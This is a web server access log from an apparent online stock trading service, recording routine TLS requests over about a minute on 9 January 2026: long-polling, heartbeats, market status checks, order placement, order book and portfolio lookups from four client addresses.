[09/Jan/2026:15:51:58 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945388886 HTTP/1.1" -
[09/Jan/2026:15:51:58 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:51:59 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:51:59 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:51:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:51:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:51:59 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945389270 HTTP/1.1" -
[09/Jan/2026:15:52:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945405161 HTTP/1.1" -
[09/Jan/2026:15:52:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945390660 HTTP/1.1" -
[09/Jan/2026:15:52:03 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945393722 HTTP/1.1" -
[09/Jan/2026:15:52:04 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945394298 HTTP/1.1" -
[09/Jan/2026:15:52:04 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945394887 HTTP/1.1" -
[09/Jan/2026:15:52:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945410229 HTTP/1.1" -
[09/Jan/2026:15:52:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:52:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:52:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:52:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:52:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945395700 HTTP/1.1" -
[09/Jan/2026:15:52:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:52:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:52:08 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:52:08 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:52:08 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945398756 HTTP/1.1" -
[09/Jan/2026:15:52:09 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945399319 HTTP/1.1" -
[09/Jan/2026:15:52:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945415279 HTTP/1.1" -
[09/Jan/2026:15:52:10 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945400890 HTTP/1.1" -
[09/Jan/2026:15:52:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945400842 HTTP/1.1" -
[09/Jan/2026:15:52:13 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945403795 HTTP/1.1" -
[09/Jan/2026:15:52:14 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945404339 HTTP/1.1" -
[09/Jan/2026:15:52:15 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945420298 HTTP/1.1" -
[09/Jan/2026:15:52:15 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:52:16 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:15:52:16 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PreOrder HTTP/1.1" 1203
[09/Jan/2026:15:52:16 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:15:52:16 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945406888 HTTP/1.1" -
[09/Jan/2026:15:52:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945405882 HTTP/1.1" -
[09/Jan/2026:15:52:18 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:52:18 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Csrf?url=/Order HTTP/1.1" 126
[09/Jan/2026:15:52:18 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:52:18 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:15:52:18 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:52:18 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Order?csrf_nonce=141932876E8A0A22DFED6BF883F585EB HTTP/1.1" 1022
[09/Jan/2026:15:52:18 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:52:18 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/sell_ticket.html? HTTP/1.1" 2261
[09/Jan/2026:15:52:18 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:52:18 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:52:18 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:52:18 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:52:18 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945408831 HTTP/1.1" -
[09/Jan/2026:15:52:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945409384 HTTP/1.1" -
[09/Jan/2026:15:52:20 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945425330 HTTP/1.1" -
[09/Jan/2026:15:52:20 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:15:52:20 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:52:20 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 1586
[09/Jan/2026:15:52:22 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:52:22 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:52:22 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Product HTTP/1.1" 309
[09/Jan/2026:15:52:22 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/OrderMaxQuantity HTTP/1.1" 9
[09/Jan/2026:15:52:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945411054 HTTP/1.1" -
[09/Jan/2026:15:52:22 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945412880 HTTP/1.1" -
[09/Jan/2026:15:52:23 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945413876 HTTP/1.1" -
[09/Jan/2026:15:52:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945414433 HTTP/1.1" -
[09/Jan/2026:15:52:25 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945430354 HTTP/1.1" -
[09/Jan/2026:15:52:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945416185 HTTP/1.1" -
[09/Jan/2026:15:52:28 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:52:28 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:52:28 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945418879 HTTP/1.1" -
[09/Jan/2026:15:52:29 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945418915 HTTP/1.1" -
[09/Jan/2026:15:52:29 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:52:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:52:29 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:52:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:52:30 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945419485 HTTP/1.1" -
[09/Jan/2026:15:52:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945421309 HTTP/1.1" -
[09/Jan/2026:15:52:34 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945424537 HTTP/1.1" -
[09/Jan/2026:15:52:34 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945424891 HTTP/1.1" -
[09/Jan/2026:15:52:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945424506 HTTP/1.1" -
[09/Jan/2026:15:52:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945426368 HTTP/1.1" -
[09/Jan/2026:15:52:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:52:38 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:52:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:52:38 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:52:39 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:52:39 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:15:52:39 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 1872
[09/Jan/2026:15:52:40 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945429525 HTTP/1.1" -
[09/Jan/2026:15:52:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945431490 HTTP/1.1" -
[09/Jan/2026:15:52:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945434560 HTTP/1.1" -
[09/Jan/2026:15:52:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945436552 HTTP/1.1" -
[09/Jan/2026:15:52:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945439595 HTTP/1.1" -
[09/Jan/2026:15:52:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945441690 HTTP/1.1" -
[09/Jan/2026:15:52:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945444615 HTTP/1.1" -
[09/Jan/2026:15:52:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945446833 HTTP/1.1" -
[09/Jan/2026:15:52:58 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:52:58 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:52:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:52:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:53:00 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945449661 HTTP/1.1" -
[09/Jan/2026:15:53:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945451978 HTTP/1.1" -
[09/Jan/2026:15:53:05 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945454689 HTTP/1.1" -
[09/Jan/2026:15:53:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945457028 HTTP/1.1" -
[09/Jan/2026:15:53:08 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:53:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:53:08 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
